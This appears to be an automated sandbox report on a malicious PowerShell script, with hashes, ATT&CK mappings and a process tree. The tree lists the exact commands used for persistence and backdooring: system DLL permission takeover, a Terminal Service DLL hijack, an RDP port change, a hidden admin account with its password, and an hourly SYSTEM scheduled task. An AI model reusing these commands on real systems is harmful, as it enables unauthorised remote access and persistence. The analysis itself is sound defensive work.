dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
23-05-2024 02:08

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General

Target

$TEMP/TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps1
Size

3.5MB
MD5

67e1452131ae07c4b67762d3c302f52b
SHA1

d6329ac864341d9dd86ff9032df8912ec8c44c8b
SHA256

6416923da618a13311012632be2aa383a711c84ee182670e663e4bd8c6464950
SHA512

013ee8398189be291970c431be6cab9597e9c3650be44c8842bafeb90e2ac84dc720daf82f24bf67bab4564272fcb34db76b352923697095f9e4b9ed2a553280
SSDEEP

49152:RIUxx1Km3fApVfWdmS+KyU053ZBqoBcTq:Y

Score

9^/10

discovery execution exploit persistence upx

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exe

pid process

1640 icacls.exe
4864 icacls.exe
2612 icacls.exe
3948 icacls.exe
1156 icacls.exe
3848 icacls.exe
876 icacls.exe
3840 takeown.exe

pid	process
1640	icacls.exe
4864	icacls.exe
2612	icacls.exe
3948	icacls.exe
1156	icacls.exe
3848	icacls.exe
876	icacls.exe
3840	takeown.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "%SystemRoot%\\help\\tmp5211.dat"	reg.exe

Loads dropped DLL 2 IoCs

Processes:

pid process

4264
4264
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

876 icacls.exe
3840 takeown.exe
1640 icacls.exe
4864 icacls.exe
2612 icacls.exe
3948 icacls.exe
1156 icacls.exe
3848 icacls.exe

pid	process
4264
4264

pid	process
876	icacls.exe
3840	takeown.exe
1640	icacls.exe
4864	icacls.exe
2612	icacls.exe
3948	icacls.exe
1156	icacls.exe
3848	icacls.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\Help\tmp5212.dat	upx

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 3 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\help\tmp5212.dat	powershell.exe
File created	C:\Windows\help\tmp5213.dat	powershell.exe
File created	C:\Windows\help\tmp5211.dat	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2684 powershell.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

3332 schtasks.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

4788 reg.exe
Runs net.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe

pid process

2684 powershell.exe
2684 powershell.exe
2684 powershell.exe
2684 powershell.exe
2684 powershell.exe
Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

648
648
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeicacls.exe

description pid process

Token: SeDebugPrivilege 2684 powershell.exe
Token: SeRestorePrivilege 4864 icacls.exe

pid	process
2684	powershell.exe

pid	process
3332	schtasks.exe

pid	process
4788	reg.exe

pid	process
2684	powershell.exe
2684	powershell.exe
2684	powershell.exe
2684	powershell.exe
2684	powershell.exe

pid	process
648
648

description	pid	process
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeRestorePrivilege	4864	icacls.exe

Suspicious use of WriteProcessMemory 50 IoCs

Processes:

powershell.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exe

description	pid	process	target process
PID 2684 wrote to memory of 3840	2684	powershell.exe	takeown.exe
PID 2684 wrote to memory of 3840	2684	powershell.exe	takeown.exe
PID 2684 wrote to memory of 1640	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 1640	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 4864	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 4864	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 2612	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 2612	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 876	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 876	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 3948	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 3948	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 1156	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 1156	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 3848	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 3848	2684	powershell.exe	icacls.exe
PID 2684 wrote to memory of 1100	2684	powershell.exe	reg.exe
PID 2684 wrote to memory of 1100	2684	powershell.exe	reg.exe
PID 2684 wrote to memory of 4788	2684	powershell.exe	reg.exe
PID 2684 wrote to memory of 4788	2684	powershell.exe	reg.exe
PID 2684 wrote to memory of 4936	2684	powershell.exe	net.exe
PID 2684 wrote to memory of 4936	2684	powershell.exe	net.exe
PID 4936 wrote to memory of 3444	4936	net.exe	net1.exe
PID 4936 wrote to memory of 3444	4936	net.exe	net1.exe
PID 5064 wrote to memory of 4328	5064	cmd.exe	net.exe
PID 5064 wrote to memory of 4328	5064	cmd.exe	net.exe
PID 4328 wrote to memory of 2324	4328	net.exe	net1.exe
PID 4328 wrote to memory of 2324	4328	net.exe	net1.exe
PID 2680 wrote to memory of 1940	2680	cmd.exe	net.exe
PID 2680 wrote to memory of 1940	2680	cmd.exe	net.exe
PID 1940 wrote to memory of 2676	1940	net.exe	net1.exe
PID 1940 wrote to memory of 2676	1940	net.exe	net1.exe
PID 2684 wrote to memory of 4864	2684	powershell.exe	cmd.exe
PID 2684 wrote to memory of 4864	2684	powershell.exe	cmd.exe
PID 4628 wrote to memory of 2612	4628	cmd.exe	net.exe
PID 4628 wrote to memory of 2612	4628	cmd.exe	net.exe
PID 2612 wrote to memory of 1864	2612	net.exe	net1.exe
PID 2612 wrote to memory of 1864	2612	net.exe	net1.exe
PID 2684 wrote to memory of 4980	2684	powershell.exe	cmd.exe
PID 2684 wrote to memory of 4980	2684	powershell.exe	cmd.exe
PID 3776 wrote to memory of 4700	3776	cmd.exe	net.exe
PID 3776 wrote to memory of 4700	3776	cmd.exe	net.exe
PID 4700 wrote to memory of 1408	4700	net.exe	net1.exe
PID 4700 wrote to memory of 1408	4700	net.exe	net1.exe
PID 1836 wrote to memory of 5012	1836	cmd.exe	net.exe
PID 1836 wrote to memory of 5012	1836	cmd.exe	net.exe
PID 5012 wrote to memory of 544	5012	net.exe	net1.exe
PID 5012 wrote to memory of 544	5012	net.exe	net1.exe
PID 1752 wrote to memory of 3332	1752	cmd.exe	schtasks.exe
PID 1752 wrote to memory of 3332	1752	cmd.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\$TEMP\TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps1
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2684
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3840
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1640
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4864
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2612
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:876
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3948
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1156
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3848
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
  2⤵
  PID:1100
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %SystemRoot%\help\tmp5211.dat /f
  2⤵
  - Sets DLL path for service in the registry
  - Modifies registry key
  PID:4788
- C:\Windows\system32\net.exe
  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    PID:3444
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
  2⤵
  PID:4864
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
  2⤵
  PID:4980

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc MzxuaGHm /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5064
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc MzxuaGHm /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc MzxuaGHm /add
    3⤵
    PID:2324

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:2676

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" LLXDHEWC$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" LLXDHEWC$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" LLXDHEWC$ /ADD
    3⤵
    PID:1864

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3776
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4700
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1408

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc MzxuaGHm
1⤵
- Suspicious use of WriteProcessMemory
PID:1836
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc MzxuaGHm
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc MzxuaGHm
    3⤵
    PID:544

C:\Windows\System32\cmd.exe
cmd /C schtasks /create /tn 85829 /tr "powershell -nop -ep bypass -f c:\windows\help\81397.ps1" /ru system /sc hourly /mo 1
1⤵
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn 85829 /tr "powershell -nop -ep bypass -f c:\windows\help\81397.ps1" /ru system /sc hourly /mo 1
  2⤵
  - Creates scheduled task(s)
  PID:3332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b4ehmsra.e3w.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Help\tmp5211.dat

Filesize
120KB

MD5
9a5f1af394cdad5ca5000dc87b664017

SHA1
97ccaa9535d3f2a0ed259e91b3bb4e7417d50863

SHA256
e004b95ba76b4fad388fad96714bf95cd6f2ce8fa3b262d63bf25749dbea8b10

SHA512
cc48689ef61b5474291f5a6ac298d30a696950acfffe8208d8965ba7e85cce96b575ebdf0b59d0b764bb35b05404c9a74434eb9b24cd244125a194a02f5dd67a

Download Submit
C:\Windows\Help\tmp5212.dat

Filesize
783KB

MD5
9790f9fecc9bf0b6cac0dd2ea51214b8

SHA1
257b5af37b30ee374ada8e1a7a4259c5a87503bc

SHA256
40c7851445ab77275378d31090f155d856982b0d98c5c2990fbd1b708a371d30

SHA512
c8ef15aaabea3a2abfefa3a2bee0d349740009d9f3fcd0ffe145f2004f63dfedaff177c279bba4101f2e9d86944f6b4a371bbc080fa718a28e42be7578bd3bc6

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/2684-11-0x00007FFC02760000-0x00007FFC03221000-memory.dmp

Filesize
10.8MB

Download
memory/2684-14-0x00007FFC02760000-0x00007FFC03221000-memory.dmp

Filesize
10.8MB

Download
memory/2684-13-0x00007FFC02760000-0x00007FFC03221000-memory.dmp

Filesize
10.8MB

Download
memory/2684-20-0x000001AA236A0000-0x000001AA238BC000-memory.dmp

Filesize
2.1MB

Download
memory/2684-12-0x00007FFC02760000-0x00007FFC03221000-memory.dmp

Filesize
10.8MB

Download
memory/2684-0-0x00007FFC02763000-0x00007FFC02765000-memory.dmp

Filesize
8KB

Download
memory/2684-10-0x000001AA23B90000-0x000001AA23BB2000-memory.dmp

Filesize
136KB

Download
memory/2684-26-0x000001AA236A0000-0x000001AA238BC000-memory.dmp

Filesize
2.1MB

Download
memory/2684-27-0x00007FFC02760000-0x00007FFC03221000-memory.dmp

Filesize
10.8MB

Download